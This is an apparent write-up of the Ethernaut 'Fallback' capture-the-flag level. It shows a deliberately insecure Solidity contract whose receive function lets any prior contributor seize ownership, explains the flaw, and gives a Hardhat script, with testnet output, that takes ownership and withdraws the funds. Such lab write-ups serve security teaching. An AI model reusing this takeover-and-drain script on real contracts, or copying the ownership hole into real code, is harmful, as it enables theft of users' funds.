Ethernaut #01 Fallback
Fallback
Challenge
Look carefully at the contract’s code below.
You will beat this level if
you claim ownership of the contract
you reduce its balance to 0
Things that might help
How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Background
The fallback
function is a function that is called when the function identifier does not match any of the contract functions or if a function call is invoked without any data (hence no function identifier is provided). Since Solidity 0.6.0 a the function receive
was introduced. receive
works the same way as fallback but is called when the invocation has a value (funds).
Attack
Solving this is pretty straight forward. The whole challenge just seems to be around understanding how to invoke the fallback
functionality (more specifically the receive
functionality).
- In order to call the
withdraw
function one needs to be the owner. - If the
fallback
function is called with some value and themsg.sender
already has contributed some funds, the owner is changed to themsg.sender
. So the - One can call
contribute
with less than0.001 ETH
and place some contribution.
So the attack would look something like this
- call
contribute
with less than0.001 ETH
- call
fallback
with some value - call
withdraw
fallback-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
// get contract
fallbackAddress = "0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46";
contract = await ethers.getContractAt("Fallback", fallbackAddress);
// get account
const accounts = await hre.ethers.getSigners();
account = accounts[0];
// initial state
console.log("Level address : " + contract.address)
console.log("Contract Owner : " + await contract.owner())
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
// make small contribution
tx = await contract.connect(account).contribute({ value: ethers.utils.parseEther("0.001") - 1 })
receipt = await tx.wait()
// call fallback function and become owner
tx = await account.sendTransaction({
to: contract.address,
data: "0x",
value: ethers.utils.parseEther("0.001")
});
receipt = await tx.wait()
// withdraw contract funds
tx = await contract.connect(account).withdraw()
receipt = await tx.wait()
// final state
console.log("Contract Owner : " + await contract.owner())
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/fallback-solve.js --network rinkeby
Level address : 0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46
Contract Owner : 0x9CB391dbcD447E645D6Cb55dE6ca23164130D008
Contract Balance: 0
Contract Owner : 0x11bAe9eA1851939a485f1F00b7B0Eec099e9276d
Contract Balance: 0
Success Message
You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.
You’ve also learnt about OpenZeppelin’s Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.
Move on to the next level when you’re ready!